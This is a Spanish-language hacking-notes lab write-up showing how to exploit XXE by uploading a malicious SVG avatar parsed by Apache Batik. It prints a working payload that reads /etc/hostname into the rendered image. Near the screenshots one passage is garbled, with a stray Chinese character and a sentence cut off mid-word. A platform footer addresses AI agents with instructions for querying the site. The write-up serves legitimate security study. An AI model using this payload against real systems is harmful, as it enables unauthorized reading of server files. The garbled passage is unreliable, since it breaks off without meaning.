> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/xxe-via-malicious-image-upload.md).

# XXE mediante carga maliciosa de imágenes

### Explotación de XXE mediante la carga de un archivo de imagen

Explotar una vulnerabilidad XXE enviando una imagen maliciosa (SVG) que, durante el procesamiento por la biblioteca Apache Batik, revela el contenido de un archivo local. El ejercicio requiere cargar un avatar SVG que muestre `/etc/hostname` contenido y luego enviar el nombre del host como solución.

El sitio ofrece un formulario para añadir d的avatar para comentarios. Al interceptar el d

<figure><img src="/files/fd31018390640028a4184fd0180c125ba6f0fc54" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/96e77d4e045c3c8e1594806caf1b7e3bd8f9eddc" alt=""><figcaption></figcaption></figure>

Crea un archivo SVG que contenga un `<!DOCTYPE>` declaración que define una entidad externa que apunta a `file:///etc/hostname` y luego insertar esa entidad en el texto SVG para que, una vez renderizado/procesado, el contenido del archivo se inyecte en la imagen mostrada.

```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

<figure><img src="/files/2b027c584f6f5f6d9f572e3461d79ef9fd04a071" alt=""><figcaption></figcaption></figure>

Tras la carga, la visualización del avatar en la sección de comentarios muestra que el servidor interpretó el SVG y devolvió el valor de la entidad — el contenido de `/etc/hostname` aparece en la imagen, lo que permite recuperar el nombre del host y enviar la solución.

<figure><img src="/files/250f8009baaefe8515ceee7bc1409f2475ec6cd1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xxe/xxe-via-malicious-image-upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
